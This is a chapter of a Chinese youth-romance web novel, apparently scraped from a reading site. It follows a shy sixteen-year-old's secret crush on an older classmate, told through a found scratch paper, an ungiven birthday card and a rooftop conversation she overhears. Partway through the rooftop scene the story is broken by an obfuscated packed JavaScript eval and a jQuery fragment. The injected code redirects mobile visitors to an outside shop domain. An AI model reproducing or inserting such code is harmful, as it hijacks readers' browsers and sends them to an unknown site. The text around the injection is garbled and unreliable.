第五章草稿纸与天台
六月中旬，学校组织了高一下学期的第二次月考。
考场的安排表贴在教学楼一楼的公告栏上。温知夏挤在人群里，仰着头，一行一行地找自己的名字。
她的指尖顺着名单往下滑，停在了“温知夏”三个字上。
考场：高二（七）班教室。
座位号：倒数第二排，靠墙。
温知夏的心跳停了一拍。
高二七班。
那是秦屿川的班级。
她若无其事地从人群里退出来，低着头往教学楼走。脚步踩在石板路上，轻一下重一下，像是踩在棉花上。明明只是一场再普通不过的月考，可因为那个考场的名字，她的心情突然就变得不一样了。
考试那天，温知夏提前了二十分钟到考场。
她站在高二七班的教室门口，往里看了一眼。教室里的桌椅已经按照考试要求重新排过，桌面上都贴着座位号。她找到自己的位置，坐下来。
倒数第二排，靠墙。
她的视线不自觉地往前扫了一圈。
这间教室比高一的教室大一些，采光很好。靠窗的那一排阳光正盛，把课桌晒得发亮。温知夏的目光在那些桌椅上慢慢移动。
哪一张，是他的呢？
她不知道。
监考老师还没有来。教室里只有稀稀落落几个学生，有的在翻书，有的趴在桌上睡觉。温知夏从笔袋里拿出一支涂卡铅笔，在草稿纸上画一些无意义的线条。
她的心思根本不在复习上。
她一直在想，秦屿川每天坐在这间教室里，听着同样的上课铃声，看着同样的黑板，会不会也像此刻的她一样，觉得时间被拉得很长，有些无聊。
第一场考语文。
温知夏答得很认真。她擅长语文，尤其是作文。这次的作文题目是《那一束光》。她在答题卡上写了一个关于母亲的故事，写着写着，眼眶就有些发胀。她使劲眨了一下眼，继续往下写。
考完语文，中间有半小时的休息时间。温知夏没有出去，她趴在桌上，闭着眼睛休息。
她的左手无意识地往课桌抽屉里摸了一下。
手指触到什么东西。
她睁开眼，低头去看。
课桌的抽屉很浅，底部贴着一张旧的课程表，边角已经翘起来了。课程表下面，露出了半张纸的角。温知夏犹豫了一下，还是把那张纸抽了出来。
是一张草稿纸。
米黄色的，边角有些破损，像是从某个本子上撕下来的。纸面上写着一些数学公式，还有几道函数题的计算过程。字迹潦草但很有力道，是一种很漂亮的、属于男生的手写体。
温知夏的心脏开始不受控制地加速跳动。
她翻过纸的另一面。
上面画了一个篮球场。篮球场旁边，歪歪扭扭地写着几个字，像是随手记下的备忘录。
“练球。”
“给老周带笔记。”
“下周三比赛。”
纸的最下面，有一个小小的签名，是用那种连笔的写法写出来的。温知夏凑近了看，才辨认出那两个字。
秦屿川。
她几乎是本能地把那张纸攥紧了，然后又慢慢松开，小心翼翼地抚平上面的褶皱。
她像是一个不小心闯入了别人领地的窃贼。而这张草稿纸，就是她无意间偷到的一件宝物。
温知夏的呼吸变得很轻很轻。
她抬头环顾了一下四周，没有人注意到她。于是她又低头，重新看了一遍纸上的字。
“练球。”
“给老周带笔记。”
“下周三比赛。”
她仿佛能通过这些潦草的字迹，触碰到他生活的一角。那里面有篮球，有朋友，有比赛，有一个少年的日常。那些日常和她离得那么远，可此刻，它们就安安静静地躺在她手心里。
温知夏把草稿纸折了两折，放进了笔袋的夹层里。
她的心跳得很快。
快到她觉得自己可能完蛋了。
接下来的几场考试，温知夏都考得有些心不在焉。
她的笔袋里藏着那张草稿纸。每做完一道题，她都会不自觉地用手去碰一下笔袋，像是确认它还好好地待在那里。
那天下午考完数学，温知夏收拾东西准备走，忽然听见旁边两个女生在小声议论。
“诶，高二七班的人今天不用考试吗？”
“他们在上自习课。我刚才还看到秦屿川了，就在一楼那个饮水机旁边打水。”
“你怎么不上去要联系方式呢？”
“我哪敢啊，他看起来好高冷的。”
温知夏把书包背起来，从教室后门走出去。
经过一楼饮水机的时候，她的脚步不自觉地放慢了。
可那里空荡荡的，没有他的身影。只有墙角处一滩小小的水渍，证明刚才确实有人在那里停留过。
温知夏盯着那滩水渍看了一会儿，转身走了。
月考成绩在一周后公布。
温知夏考得还不错。她的语文和英语依旧是班里的前几名，数学和物理也勉强保住了及格线。
那天放学，她路过公告栏，看见月考成绩单已经贴出来了。她挤进去看了一眼高一的榜单，自己的名字排在年级第三十五名。
她往旁边扫了一眼，发现公告栏的另一侧贴着高二的月考成绩单。
秦屿川。
她的视线一下子捉住了那个名字。
高二年级第十八名。
温知夏在心里默默记下了这个数字。然后她忽然想到，他比她高出三个年级，不，三个学期。等明年这个时候，他就在高考了。
高考。
这个词从她脑海里冒出来的时候，她的心像是被什么东西拽了一下。
他会去很远的地方吧。会去一个她够不到的城市，遇见一些她没见过的人。然后她就连远远看着的机会，都不会再有了。
温知夏站在公告栏前，忽然觉得夏天的风变得有些凉。
可明明，太阳还那么晒。
六月过去，七月来了。
南城正式进入了一年中最热的时候。课表上的下午第四节课成了最难熬的存在。教室里的电风扇吱呀呀地转着，可吹出来的风都是热的。所有人都在座位上坐立不安地挪动，只有温知夏安安静静地坐在位置上，一笔一划地写着什么东西。
秦屿川的生日快到了。
她不知道这个消息是从哪里听来的。也许是某次课间，听见有人在讨论给秦屿川送什么礼物；也许是她在图书馆翻到的某本旧同学录上看到了他的信息。
总之，她知道了。
六月十六号，秦屿川的生日。
温知夏花了三个晚上，画了一张贺卡。
这次的贺卡不是买的。她买了一张很厚的水粉纸，裁成合适的大小，用彩色铅笔在上面画了一幅画。
画的是一棵大树下的篮球场。阳光从树叶的缝隙里洒下来，斑斑驳驳的光点落在地面上。篮球架旁边，倚着一辆自行车。
没有人物。
可温知夏画的时候，脑子里想的全是秦屿川。
他靠在篮球架下仰头喝水的样子。他骑自行车经过校园时，被风吹起的衣摆。他投篮时后仰跳起，手腕微微下压的弧度。
她把这些全部画进了那幅画里，却唯独没有画上他。
因为她画不出来。
画不出来一个人看另一个人时，那种藏都藏不住的热切和欢喜。
六月十六号那天，温知夏比平常起得早了很多。
她把那张贺卡用一张干净的宣纸包好，放进书包里，走去了学校。
那天她犹豫了整整一天。
早上经过高二七班的教室时，她没敢进去。中午在食堂看见秦屿川坐在靠窗的位置和同学们一起吃饭，她没敢上前。下午放学路过篮球场，看见他正在打球，她又站在围栏外看了好一会儿，最终还是没有勇气等他出来。
贺卡就那样在她书包里静静地躺着，像一颗不能见光的心。
直到傍晚，夕阳已经低低地挂在天边，把整个校园都染成了橘红色。
温知夏看见秦屿川从体育馆里走出来，身上背着那个黑色的单肩包，手里提着一个纸袋，里面装着别人送的生日礼物。
他的脸上没什么特别的表情，只是朝教学楼走去。
温知夏跟了上去。
她也不知道自己要做什么。腿像是被别人控制了似的，远远地跟着他。穿过操场，绕过食堂，上了教学楼的楼梯。
秦屿川一直走到了顶楼的天台。
门没有关。
他推开门走了进去。
温知夏站在楼梯拐角处，屏住了呼吸。天台的铁门发出“吱呀”一声响，然后慢慢合上。她贴着墙，一动不动。
风从楼道的小窗里灌进来，吹得她的校服裙摆轻轻摆动。她抱着书包，把脸埋在书包带子上。
心跳的声音太大太大了。她怕他听见。
过了一会儿，天台上传来了说话声。
不是秦屿川一个人。
还有一个女生的声音。
温知夏听见那个女生说：“你今年收了不少礼物啊。”
是林微月。
温知夏抱紧了书包。
“还行。”秦屿川的声音懒懒地传过来，像隔了一层雾。
“生日快乐，屿川。”林微月说，“我送你的礼物看了吗？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17868974|212254||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“还没拆。”
“你好没劲。”林微月笑了一声，语气里带着撒娇般的嗔怪，“对了，我有个问题想问你。”
“什么？”
“你到底喜欢什么样的女生啊？”
天台上安静了下来。
温知夏贴在墙上，感觉自己心脏的声音大得几乎要把墙壁震穿。她死死地捂住了嘴，怕自己发出一点声音。
这个问题，也是她想问的。
你喜欢什么样的女生？
是像林微月那样，漂亮的、大方的、和你从小一起长大的？还是像那些尖叫着在篮球场边为你加油的女生那样，明艳又勇敢的？
还是……
还是像她这样的。
沉默的、胆小的、连喜欢都要藏在暗处的。
天台上的沉默持续了很久。
久到温知夏以为他不会回答了。
然后她听见秦屿川的声音，淡淡的，夹在风里，有些听不真切：
“没想过。”
林微月“切”了一声：“没想过你还拒绝过那么多女生？我听说上周三班那个女生跟你表白，你直接说‘不认识’？”
“是不认识。”
“秦屿川，你真的好无情。”林微月笑着说。
秦屿川没接话。
过了几秒，林微月又开口了，声音轻快，像是把话题从这个沉闷的问题上挪开了：“走了，下去吃饭吧，我饿了。”
“嗯。”
脚步声朝门口靠近。
温知夏慌了。她来不及多想，转身就往楼下跑。
她跑得很快，鞋底踩在楼梯上，发出零碎的声响。她不敢回头，不敢停，一口气从六楼跑到了二楼才停下。
她弯着腰，双手撑在膝盖上，大口大口地喘着气。
心脏像是要从胸腔里跳出来似的，疼得她眼眶发酸。分不清是因为跑得太急，还是因为别的什么。
温知夏回到家的第一件事，就是打开书包。
那张贺卡还好好地躺在里面。
她把它拿出来，放在桌上。
画纸上的颜色在台灯下显得格外鲜亮。树是绿色的，阳光是金色的，篮球场是橙褐色的。整幅画都是明亮的、温暖的，像是盛夏里最好的一个下午。
可温知夏看着它，眼泪忽然就掉了下来。
“没想过。”
他还没想过这个问题。
他的世界里还没有一个具体的轮廓。没有一个人，能让他停下来，想一想喜欢到底是什么。
可她的世界里，全是他。
温知夏哭了一阵，觉得自己很丢人。
她擦掉眼泪，把贺卡收进那个铁盒。
盒子里现在有了两样东西。一张是元旦的新年贺卡，一张是今天这张生日贺卡。
她从笔袋里拿出那张折好的草稿纸，展开看了一眼，又折好，一起放进了铁盒。
做完这些，她关上台灯，走到窗边。
外面下起了雨。雨点打在树叶上，沙沙地响。夏天的雨来得快，去得也快。可今晚这场雨，似乎不太想停。
温知夏看着窗外的雨幕，轻声说了一句：“生日快乐，秦屿川。”
然后她关上窗户。
雨声被隔绝在玻璃之外，闷闷的，像从很远的地方传来。
那个晚上，温知夏做了个梦。
梦里她又回到了那天天台的楼梯间。她贴在墙上，听见林微月问：“你到底喜欢什么样的女生？”
可这一次，秦屿川没有回答“没想过”。
他沉默了很久，然后说：“她。”
温知夏从梦里醒过来的时候，天已经大亮了。
她躺在床上，盯着天花板，回味着梦里那个模糊的、听不清楚的答案。
她自嘲地笑了一下。
梦，果然只是梦。
七月初，高一结束。
散学典礼那天，温知夏从学校走回来，把一整个学期的书本都整理好了。该卖的卖，该扔的扔。
可她留下了那个铁盒。
盒子里装着一张新年贺卡，一张生日贺卡，一张草稿纸。
她坐在床边，把铁盒盖好，放进书桌最下面的抽屉里。
然后用一本厚词典压住了它。
好像这样，那些关于秦屿川的心事，就能被压得再深一些。好像这样，她就能骗自己，这个夏天什么也没有发生。
可她知道，她骗不了自己。
因为在她心里，有一个地址，已经被写上了一串只有她自己知道的邮编。
温知夏，十六岁。
秦屿川，十七岁。
她的暗恋，在盛夏里悄然成册。
而故事还很长很长。
（第五章完）